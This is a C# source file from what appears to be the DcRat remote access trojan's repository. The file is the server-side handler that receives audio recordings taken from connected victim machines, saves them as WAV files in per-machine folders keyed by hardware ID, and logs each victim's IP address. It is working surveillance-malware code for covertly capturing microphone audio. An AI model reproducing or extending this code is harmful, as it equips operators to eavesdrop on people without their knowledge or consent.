DcRat/Server/Handle Packet/HandleAudio.cs

55 lines
2.1 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

using Server.Forms;
using Server.MessagePack;
using Server.Connection;
using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using System.Threading;
using System.Threading.Tasks;
using Server.Helper;
using System.Diagnostics;
using System.Collections.Generic;
using System.Linq;
namespace Server.Handle_Packet
{
public class HandleAudio
{
public async void SaveAudio(Clients client, MsgPack unpack_msgpack)
{
try
{
FormAudio audiorecord = (FormAudio)Application.OpenForms["Audio Recorder:" + unpack_msgpack.ForcePathObject("Hwid").GetAsString()];
if (unpack_msgpack.ForcePathObject("Close").GetAsString() == "true")
{
audiorecord.btnStartStopRecord.Text = "Start Recording";
audiorecord.btnStartStopRecord.Enabled = true;
client.Disconnected();
return;
}
else
{
audiorecord.btnStartStopRecord.Text = "Start Recording";
audiorecord.btnStartStopRecord.Enabled = true;
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "SaveAudio");
if (!Directory.Exists(fullPath))
Directory.CreateDirectory(fullPath);
await Task.Run(() =>
{
byte[] zipFile = unpack_msgpack.ForcePathObject("WavFile").GetAsBytes();
File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".wav", zipFile);
});
new HandleLogs().Addmsg($"Client {client.Ip} recording successfile located @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/SaveAudio", Color.Purple);
client.Disconnected();
}
}
catch (Exception ex)
{
new HandleLogs().Addmsg($"Save recorded file fail {ex.Message}", Color.Red);
}
}
}
}